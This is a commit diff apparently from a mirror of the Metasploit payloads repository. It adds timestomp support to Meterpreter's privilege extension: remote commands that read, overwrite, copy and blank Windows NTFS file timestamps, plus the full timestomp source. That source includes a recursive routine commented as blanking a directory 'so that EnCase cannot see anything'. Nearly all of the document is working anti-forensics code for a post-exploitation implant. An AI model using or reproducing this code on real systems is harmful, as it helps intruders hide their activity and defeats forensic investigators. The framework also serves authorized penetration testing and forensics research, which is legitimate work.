mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-05-06 16:09:38 +02:00
timestomp integration
git-svn-id: file:///home/svn/incoming/trunk@3219 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
eb621baaf2
commit
ecd0afd28b
c/meterpreter
source/extensions/priv
workspace/ext_server_priv
@ -12,4 +12,35 @@
|
||||
TLV_TYPE_EXTENSION_PRIV, \
|
||||
TLV_EXTENSIONS + 1)
|
||||
|
||||
#define TLV_TYPE_FS_FILE_MODIFIED \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
TLV_TYPE_EXTENSION_PRIV, \
|
||||
TLV_EXTENSIONS + 100)
|
||||
#define TLV_TYPE_FS_FILE_ACCESSED \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
TLV_TYPE_EXTENSION_PRIV, \
|
||||
TLV_EXTENSIONS + 101)
|
||||
#define TLV_TYPE_FS_FILE_CREATED \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
TLV_TYPE_EXTENSION_PRIV, \
|
||||
TLV_EXTENSIONS + 102)
|
||||
#define TLV_TYPE_FS_FILE_EMODIFIED \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
TLV_TYPE_EXTENSION_PRIV, \
|
||||
TLV_EXTENSIONS + 103)
|
||||
#define TLV_TYPE_FS_FILE_PATH \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_STRING, \
|
||||
TLV_TYPE_EXTENSION_PRIV, \
|
||||
TLV_EXTENSIONS + 110)
|
||||
#define TLV_TYPE_FS_SRC_FILE_PATH \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_STRING, \
|
||||
TLV_TYPE_EXTENSION_PRIV, \
|
||||
TLV_EXTENSIONS + 111)
|
||||
|
||||
#endif
|
||||
|
245
c/meterpreter/source/extensions/priv/server/fs.c
Normal file
245
c/meterpreter/source/extensions/priv/server/fs.c
Normal file
@ -0,0 +1,245 @@
|
||||
#include "precomp.h"
|
||||
|
||||
// Import code from timestomp
|
||||
#include "timestomp.c"
|
||||
|
||||
#define EpochTimeToSystemTime(epoch, sys) \
|
||||
{ \
|
||||
struct tm *et = localtime(&epoch); \
|
||||
memset(sys, 0, sizeof(SYSTEMTIME)); \
|
||||
(sys)->wYear = et->tm_year + 1900; \
|
||||
(sys)->wMonth = et->tm_mon + 1; \
|
||||
(sys)->wDay = et->tm_mday; \
|
||||
(sys)->wHour = et->tm_hour; \
|
||||
(sys)->wMinute = et->tm_min; \
|
||||
(sys)->wSecond = et->tm_sec; \
|
||||
}
|
||||
|
||||
#define SystemTimeToEpochTime(sys, epoch) \
|
||||
{ \
|
||||
struct tm et; \
|
||||
memset(&et, 0, sizeof(et)); \
|
||||
et.tm_year = (sys)->wYear - 1900; \
|
||||
et.tm_mon = (sys)->wMonth -1; \
|
||||
et.tm_mday = (sys)->wDay; \
|
||||
et.tm_hour = (sys)->wHour; \
|
||||
et.tm_min = (sys)->wMinute; \
|
||||
et.tm_sec = (sys)->wSecond; \
|
||||
*(epoch) = mktime(&et); \
|
||||
}
|
||||
|
||||
|
||||
DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
|
||||
{
|
||||
FILE_BASIC_INFORMATION fbi;
|
||||
SYSTEMTIME lt;
|
||||
Packet *response = packet_create_response(packet);
|
||||
HANDLE file = NULL;
|
||||
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
|
||||
struct {
|
||||
LARGE_INTEGER *ft;
|
||||
unsigned long tlv;
|
||||
} fields[] = {
|
||||
{ &fbi.LastWriteTime, TLV_TYPE_FS_FILE_MODIFIED },
|
||||
{ &fbi.LastAccessTime, TLV_TYPE_FS_FILE_ACCESSED },
|
||||
{ &fbi.CreationTime, TLV_TYPE_FS_FILE_CREATED },
|
||||
{ &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED },
|
||||
};
|
||||
int x;
|
||||
|
||||
do
|
||||
{
|
||||
// Invalid file path, bail.
|
||||
if (!filePath)
|
||||
{
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
break;
|
||||
}
|
||||
|
||||
// If we fail to retrieve basic information, bail.
|
||||
if (!(file = RetrieveFileBasicInformation(filePath, &fbi)))
|
||||
break;
|
||||
|
||||
// Convert the time for each field
|
||||
for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++)
|
||||
{
|
||||
time_t epoch = 0;
|
||||
|
||||
if (ConvertLargeIntegerToLocalTime(<, *fields[x].ft) != 1)
|
||||
break;
|
||||
|
||||
SystemTimeToEpochTime(<, &epoch);
|
||||
|
||||
packet_add_tlv_uint(response, fields[x].tlv, epoch);
|
||||
}
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
// Close the file handle.
|
||||
if (file)
|
||||
CloseHandle(file);
|
||||
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
|
||||
{
|
||||
FILE_BASIC_INFORMATION fbi;
|
||||
Packet *response = packet_create_response(packet);
|
||||
HANDLE file = NULL;
|
||||
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
|
||||
struct {
|
||||
LARGE_INTEGER *ft;
|
||||
unsigned long tlv;
|
||||
} fields[] = {
|
||||
{ &fbi.LastWriteTime, TLV_TYPE_FS_FILE_MODIFIED },
|
||||
{ &fbi.LastAccessTime, TLV_TYPE_FS_FILE_ACCESSED },
|
||||
{ &fbi.CreationTime, TLV_TYPE_FS_FILE_CREATED },
|
||||
{ &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED },
|
||||
};
|
||||
int x;
|
||||
|
||||
do
|
||||
{
|
||||
// Invalid file path, bail.
|
||||
if (!filePath)
|
||||
{
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
break;
|
||||
}
|
||||
|
||||
// If we fail to retrieve basic information, bail.
|
||||
if (!(file = RetrieveFileBasicInformation(filePath, &fbi)))
|
||||
break;
|
||||
|
||||
// If the TLV for the associated field is supplied, update it.
|
||||
for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++)
|
||||
{
|
||||
SYSTEMTIME st;
|
||||
unsigned long epoch = packet_get_tlv_value_uint(packet, fields[x].tlv);
|
||||
|
||||
if (!epoch)
|
||||
continue;
|
||||
|
||||
EpochTimeToSystemTime(epoch, &st);
|
||||
|
||||
// Conversion failed, that sucks.
|
||||
if (ConvertLocalTimeToLargeInteger(st, fields[x].ft) == 0)
|
||||
break;
|
||||
}
|
||||
|
||||
// If we fail to set the MACE, bail.
|
||||
if (SetFileMACE(file, fbi) == 0)
|
||||
break;
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
// Close the file handle.
|
||||
if (file)
|
||||
CloseHandle(file);
|
||||
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet)
|
||||
{
|
||||
FILE_BASIC_INFORMATION fbi;
|
||||
Packet *response = packet_create_response(packet);
|
||||
PCHAR tgtFilePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
|
||||
PCHAR srcFilePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH);
|
||||
HANDLE srcFile = NULL, tgtFile = NULL;
|
||||
ULONG attributes;
|
||||
|
||||
do
|
||||
{
|
||||
// Are we missing something?
|
||||
if (!tgtFilePath || !srcFilePath)
|
||||
{
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
break;
|
||||
}
|
||||
|
||||
// Get info.
|
||||
if (!(tgtFile = RetrieveFileBasicInformation(tgtFilePath, &fbi)))
|
||||
break;
|
||||
attributes = fbi.FileAttributes;
|
||||
if (!(srcFile = RetrieveFileBasicInformation(srcFilePath, &fbi)))
|
||||
break;
|
||||
fbi.FileAttributes = attributes;
|
||||
|
||||
if (SetFileMACE(tgtFile, fbi) == 0)
|
||||
break;
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
if (srcFile)
|
||||
CloseHandle(srcFile);
|
||||
if (tgtFile)
|
||||
CloseHandle(tgtFile);
|
||||
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
|
||||
|
||||
do
|
||||
{
|
||||
// Are we missing something?
|
||||
if (!filePath)
|
||||
{
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
break;
|
||||
}
|
||||
|
||||
if (SetMinimumTimeValues(filePath) == 0)
|
||||
break;
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
|
||||
|
||||
do
|
||||
{
|
||||
// Are we missing something?
|
||||
if (!filePath)
|
||||
{
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
break;
|
||||
}
|
||||
|
||||
if (TheCraigOption(filePath) == 0)
|
||||
break;
|
||||
|
||||
SetLastError(ERROR_SUCCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(GetLastError(), remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
10
c/meterpreter/source/extensions/priv/server/fs.h
Normal file
10
c/meterpreter/source/extensions/priv/server/fs.h
Normal file
@ -0,0 +1,10 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_FS_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_FS_H
|
||||
|
||||
DWORD request_fs_get_file_mace(Remote *remote, Packet *packet);
|
||||
DWORD request_fs_set_file_mace(Remote *remote, Packet *packet);
|
||||
DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet);
|
||||
DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet);
|
||||
DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet);
|
||||
|
||||
#endif
|
@ -4,6 +4,7 @@
|
||||
#define _WIN32_WINNT 0x0400
|
||||
#include "../priv.h"
|
||||
#include "passwd.h"
|
||||
#include "fs.h"
|
||||
|
||||
#define strcasecmp stricmp
|
||||
|
||||
|
@ -11,6 +11,28 @@ Command customCommands[] =
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Fs
|
||||
{ "priv_fs_get_file_mace",
|
||||
{ request_fs_get_file_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_set_file_mace",
|
||||
{ request_fs_set_file_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_set_file_mace_from_file",
|
||||
{ request_fs_set_file_mace_from_file, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_blank_file_mace",
|
||||
{ request_fs_blank_file_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "priv_fs_blank_directory_mace",
|
||||
{ request_fs_blank_directory_mace, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
|
405
c/meterpreter/source/extensions/priv/server/timestomp.c
Normal file
405
c/meterpreter/source/extensions/priv/server/timestomp.c
Normal file
@ -0,0 +1,405 @@
|
||||
/*
|
||||
Copyright (C) 2005 Vincent Liu
|
||||
|
||||
This file is part of Timestomp
|
||||
|
||||
Timestomp is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
// #######################################################################
|
||||
// ############ HEADER FILES
|
||||
// #######################################################################
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// #######################################################################
|
||||
// ############ DEFINITIONS
|
||||
// #######################################################################
|
||||
#define OBJ_EXCLUSIVE 0x00000020L
|
||||
#define OBJ_KERNEL_HANDLE 0x00000200L
|
||||
#define FILE_NON_DIRECTORY_FILE 0x00000040
|
||||
|
||||
typedef LONG NTSTATUS;
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
||||
|
||||
typedef enum _FILE_INFORMATION_CLASS {
|
||||
FileBasicInformation = 4,
|
||||
FileStandardInformation = 5,
|
||||
FilePositionInformation = 14,
|
||||
FileEndOfFileInformation = 20,
|
||||
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
|
||||
|
||||
typedef struct _FILE_BASIC_INFORMATION {
|
||||
LARGE_INTEGER CreationTime; // Created
|
||||
LARGE_INTEGER LastAccessTime; // Accessed
|
||||
LARGE_INTEGER LastWriteTime; // Modifed
|
||||
LARGE_INTEGER ChangeTime; // Entry Modified
|
||||
ULONG FileAttributes;
|
||||
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
|
||||
|
||||
typedef NTSTATUS (WINAPI *pNtQueryInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
|
||||
typedef NTSTATUS (WINAPI *pNtSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
|
||||
|
||||
DWORD ParseDateTimeInput(char *inputstring, SYSTEMTIME *systemtime);
|
||||
HANDLE RetrieveFileBasicInformation(char *filename, FILE_BASIC_INFORMATION *fbi);
|
||||
DWORD ConvertLocalTimeToLargeInteger(SYSTEMTIME localsystemtime, LARGE_INTEGER *largeinteger);
|
||||
DWORD ConvertLargeIntegerToLocalTime(SYSTEMTIME *localsystemtime, LARGE_INTEGER largeinteger);
|
||||
DWORD SetFileMACE(HANDLE file, FILE_BASIC_INFORMATION fbi);
|
||||
DWORD InputHandler(int argc, char **argv);
|
||||
void PrintSystemTime(SYSTEMTIME systime);
|
||||
void Usage();
|
||||
|
||||
|
||||
// #######################################################################
|
||||
// ############ FUNCTIONS
|
||||
// #######################################################################
|
||||
|
||||
/* returns 0 on error, 1 on success. this function set the MACE values based on
|
||||
the input from the FILE_BASIC_INFORMATION structure */
|
||||
DWORD SetFileMACE(HANDLE file, FILE_BASIC_INFORMATION fbi) {
|
||||
|
||||
HANDLE ntdll = NULL;
|
||||
IO_STATUS_BLOCK iostatus;
|
||||
pNtSetInformationFile NtSetInformationFile = NULL;
|
||||
|
||||
ntdll = LoadLibrary("ntdll.dll");
|
||||
if (ntdll == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");
|
||||
if (NtSetInformationFile == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (NtSetInformationFile(file, &iostatus, &fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* clean up */
|
||||
FreeLibrary(ntdll);
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* returns the handle on success or NULL on failure. this function opens a file and returns
|
||||
the FILE_BASIC_INFORMATION on it. */
|
||||
HANDLE RetrieveFileBasicInformation(char *filename, FILE_BASIC_INFORMATION *fbi) {
|
||||
|
||||
HANDLE file = NULL;
|
||||
HANDLE ntdll = NULL;
|
||||
pNtQueryInformationFile NtQueryInformationFile = NULL;
|
||||
IO_STATUS_BLOCK iostatus;
|
||||
|
||||
file = CreateFile(filename, FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (file == INVALID_HANDLE_VALUE) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* load ntdll and retrieve function pointer */
|
||||
ntdll = LoadLibrary("ntdll.dll");
|
||||
if (ntdll == NULL) {
|
||||
CloseHandle(file);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* retrieve current timestamps including file attributes which we want to preserve */
|
||||
NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(ntdll, "NtQueryInformationFile");
|
||||
if (NtQueryInformationFile == NULL) {
|
||||
CloseHandle(file);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* obtain the current file information including attributes */
|
||||
if (NtQueryInformationFile(file, &iostatus, fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) {
|
||||
CloseHandle(file);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* clean up */
|
||||
FreeLibrary(ntdll);
|
||||
|
||||
return file;
|
||||
}
|
||||
|
||||
// returns 0 on error, 1 on success. this function converts a SYSTEMTIME structure to a LARGE_INTEGER
|
||||
DWORD ConvertLocalTimeToLargeInteger(SYSTEMTIME localsystemtime, LARGE_INTEGER *largeinteger) {
|
||||
|
||||
// the local time is stored in the system time structure argument which should be from the user
|
||||
// input. the user inputs the times in local time which is then converted to utc system time because
|
||||
// ntfs stores all timestamps in utc, which is then converted to a large integer
|
||||
|
||||
// MSDN recommends converting SYSTEMTIME to FILETIME via SystemTimeToFileTime() and
|
||||
// then copying the values in FILETIME to a ULARGE_INTEGER structure.
|
||||
|
||||
FILETIME filetime;
|
||||
FILETIME utcfiletime;
|
||||
DWORD result = 0;
|
||||
|
||||
/*
|
||||
result = GetTimeZoneInformation(&timezone);
|
||||
if (result == TIME_ZONE_ID_INVALID) {
|
||||
printf("Error: Could not obtain the local time zone information.\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (TzSpecificLocalTimeToSystemTime(&timezone, &localsystemtime, &utcsystemtime) == 0) {
|
||||
printf("Error: Couldn't convert local time to UTC time.\n");
|
||||
return 0;
|
||||
}
|
||||
*/
|
||||
|
||||
// convert the SYSTEMTIME structure to a FILETIME structure
|
||||
if (SystemTimeToFileTime(&localsystemtime, &filetime) == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// convert the local file time to UTC
|
||||
if (LocalFileTimeToFileTime(&filetime, &utcfiletime) == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* copying lowpart from a DWORD to DWORD, and copying highpart from a DWORD to a LONG.
|
||||
potential data loss of upper values 2^16, but acceptable bc we wouldn't be able to set
|
||||
this high even if we wanted to because NtSetInformationFile() takes a max of what's
|
||||
provided in LARGE_INTEGER */
|
||||
largeinteger->LowPart = utcfiletime.dwLowDateTime;
|
||||
largeinteger->HighPart = utcfiletime.dwHighDateTime;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* returns 0 on error, 1 on success. this function converts a LARGE_INTEGER to a SYSTEMTIME structure */
|
||||
DWORD ConvertLargeIntegerToLocalTime(SYSTEMTIME *localsystemtime, LARGE_INTEGER largeinteger) {
|
||||
|
||||
FILETIME filetime;
|
||||
FILETIME localfiletime;
|
||||
DWORD result = 0;
|
||||
|
||||
filetime.dwLowDateTime = largeinteger.LowPart;
|
||||
filetime.dwHighDateTime = largeinteger.HighPart;
|
||||
|
||||
if (FileTimeToLocalFileTime(&filetime, &localfiletime) == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (FileTimeToSystemTime(&localfiletime, localsystemtime) == 0) {
|
||||
return 0;
|
||||
}
|
||||
/*
|
||||
result = GetTimeZoneInformation(&timezone);
|
||||
if (result == TIME_ZONE_ID_INVALID) {
|
||||
printf("Error: Could not obtain the local time zone information.\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (SystemTimeToTzSpecificLocalTime(&timezone, &utcsystemtime, localsystemtime) == 0) {
|
||||
printf("Error: Couldn't convert UTC time to local time.\n");
|
||||
return 0;
|
||||
}
|
||||
*/
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* returns 1 on success or 0 on failure. this function converts an input string into a SYSTEMTIME structure */
|
||||
DWORD ParseDateTimeInput(char *inputstring, SYSTEMTIME *systemtime) {
|
||||
|
||||
char day[10];
|
||||
char daynight[3];
|
||||
|
||||
if (sscanf(inputstring, "%9s %hu/%hu/%hu %hu:%hu:%hu %2s", day, &systemtime->wMonth, &systemtime->wDay, &systemtime->wYear, &systemtime->wHour, &systemtime->wMinute, &systemtime->wSecond, daynight) == 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* sanitize input */
|
||||
if (strlen(day) > 0) {
|
||||
CharLower(day);
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
|
||||
do {
|
||||
if (day[0] == 'm') { if (strncmp(day, "monday", 6) == 0) { systemtime->wDayOfWeek = 1; break; } }
|
||||
if (day[0] == 't') { if (strncmp(day, "tuesday", 7) == 0) { systemtime->wDayOfWeek = 2; break; }
|
||||
if (strncmp(day, "thursday", 8) == 0) { systemtime->wDayOfWeek = 4; break; } }
|
||||
if (day[0] == 'w') { if (strncmp(day, "wednesday", 9) == 0) { systemtime->wDayOfWeek = 3; break; } }
|
||||
if (day[0] == 'f') { if (strncmp(day, "friday", 6) == 0) { systemtime->wDayOfWeek = 5; break; } }
|
||||
if (day[0] == 's') { if (strncmp(day, "saturday", 8) == 0) { systemtime->wDayOfWeek = 6; break; }
|
||||
if (strncmp(day, "sunday", 6) == 0) { systemtime->wDayOfWeek = 0; break; } }
|
||||
|
||||
return 0;
|
||||
} while (0);
|
||||
|
||||
|
||||
if (systemtime->wMonth < 1 || systemtime->wMonth > 12) {
|
||||
return 0;
|
||||
}
|
||||
if (systemtime->wDay < 1 || systemtime->wDay > 31) {
|
||||
return 0;
|
||||
}
|
||||
if (systemtime->wYear < 1601 || systemtime->wYear > 30827) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (strlen(daynight) > 0) {
|
||||
CharLower(daynight);
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
if (strncmp(daynight, "am", 2) == 0) {
|
||||
if (systemtime->wHour < 1 || systemtime->wHour > 12) {
|
||||
return 0;
|
||||
}
|
||||
} else if (strncmp(daynight, "pm", 2) == 0) {
|
||||
if (systemtime->wHour < 1 || systemtime->wHour > 12) {
|
||||
return 0;
|
||||
}
|
||||
if (systemtime->wHour != 12) { systemtime->wHour += 12; }
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(systemtime->wMinute < 0 || systemtime->wMinute > 59) {
|
||||
return 0;
|
||||
}
|
||||
if(systemtime->wSecond < 0 || systemtime->wSecond > 59) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* it doesnt matter what the millisecond value is because the ntfs resolution for file timestamps is only up to 1s */
|
||||
systemtime->wMilliseconds = 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
// takes a file a sets the time values to the minimum possible value, return 1 on success or 0 on failure
|
||||
DWORD SetMinimumTimeValues(char *filename) {
|
||||
|
||||
HANDLE file = NULL;
|
||||
FILE_BASIC_INFORMATION fbi;
|
||||
SYSTEMTIME userinputtime;
|
||||
|
||||
// open the file and retrieve information
|
||||
file = RetrieveFileBasicInformation(filename, &fbi);
|
||||
if (file == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
userinputtime.wYear = 1601;
|
||||
userinputtime.wMonth = 1;
|
||||
userinputtime.wDayOfWeek = 0;
|
||||
userinputtime.wDay = 1;
|
||||
userinputtime.wHour = 0;
|
||||
userinputtime.wMinute = 0;
|
||||
userinputtime.wSecond = 0;
|
||||
userinputtime.wMilliseconds = 0;
|
||||
if ((ConvertLocalTimeToLargeInteger(userinputtime, &fbi.ChangeTime) == 0) || (ConvertLocalTimeToLargeInteger(userinputtime, &fbi.CreationTime) == 0) ||
|
||||
(ConvertLocalTimeToLargeInteger(userinputtime, &fbi.LastAccessTime) == 0) || (ConvertLocalTimeToLargeInteger(userinputtime, &fbi.LastWriteTime) == 0)) {
|
||||
return 0;
|
||||
}
|
||||
if (SetFileMACE(file, fbi) == 0) { return 0; }
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
// this function recursively blanks all files from the specified directory so that EnCase cannot see anything
|
||||
DWORD TheCraigOption(char *directoryname) {
|
||||
|
||||
// general variables
|
||||
HANDLE file = NULL;
|
||||
char currentfiletarget[MAX_PATH + 1];
|
||||
|
||||
// file search variables
|
||||
HANDLE find = INVALID_HANDLE_VALUE;
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
char fulldirectorypath[MAX_PATH + 1];
|
||||
|
||||
// set the target directories
|
||||
strncpy(fulldirectorypath, directoryname, strlen(directoryname)+1);
|
||||
strncat(fulldirectorypath, "\\*", 3);
|
||||
|
||||
// search the directory
|
||||
find = FindFirstFile(fulldirectorypath, &FindFileData);
|
||||
if (find == INVALID_HANDLE_VALUE) {
|
||||
if (GetLastError() == 5) { // access denied
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
// recursively call TheCraigOption if the file type is a directory
|
||||
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||||
if ((strncmp(FindFileData.cFileName, ".", 1) != 0) && (strncmp(FindFileData.cFileName, "..", 2) != 0)) {
|
||||
strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
|
||||
strncat(currentfiletarget, "\\", 2);
|
||||
strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
|
||||
if (TheCraigOption(currentfiletarget) == 0) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// set the full file name and lower the time values
|
||||
strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
|
||||
strncat(currentfiletarget, "\\", 2);
|
||||
strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
|
||||
if (SetMinimumTimeValues(currentfiletarget) == 0) {
|
||||
//return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// recursively set all values
|
||||
while (FindNextFile(find, &FindFileData) != 0) {
|
||||
|
||||
// recursively call TheCraigOption if the file type is a directory
|
||||
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
|
||||
if ((strncmp(FindFileData.cFileName, ".", 1) != 0) && (strncmp(FindFileData.cFileName, "..", 2) != 0)) {
|
||||
strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
|
||||
strncat(currentfiletarget, "\\", 2);
|
||||
strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
|
||||
if (TheCraigOption(currentfiletarget) == 0) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// set the full file name and lower the time values
|
||||
strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
|
||||
strncat(currentfiletarget, "\\", 2);
|
||||
strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
|
||||
if (SetMinimumTimeValues(currentfiletarget) == 0) {
|
||||
//return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// cleanup find data structures
|
||||
if (FindClose(find) == 0) {
|
||||
return 0;
|
||||
}
|
||||
if (GetLastError() != ERROR_NO_MORE_FILES) {
|
||||
if (GetLastError() == 5) { // access denied
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
@ -102,6 +102,18 @@ SOURCE=..\..\source\extensions\priv\server\passwd.c
|
||||
SOURCE=..\..\source\extensions\priv\server\passwd.h
|
||||
# End Source File
|
||||
# End Group
|
||||
# Begin Group "Fs"
|
||||
|
||||
# PROP Default_Filter ""
|
||||
# Begin Source File
|
||||
|
||||
SOURCE=..\..\source\extensions\priv\server\fs.c
|
||||
# End Source File
|
||||
# Begin Source File
|
||||
|
||||
SOURCE=..\..\source\extensions\priv\server\fs.h
|
||||
# End Source File
|
||||
# End Group
|
||||
# Begin Source File
|
||||
|
||||
SOURCE=..\..\source\extensions\priv\server\precomp.h
|
||||
|
Loading…
x
Reference in New Issue
Block a user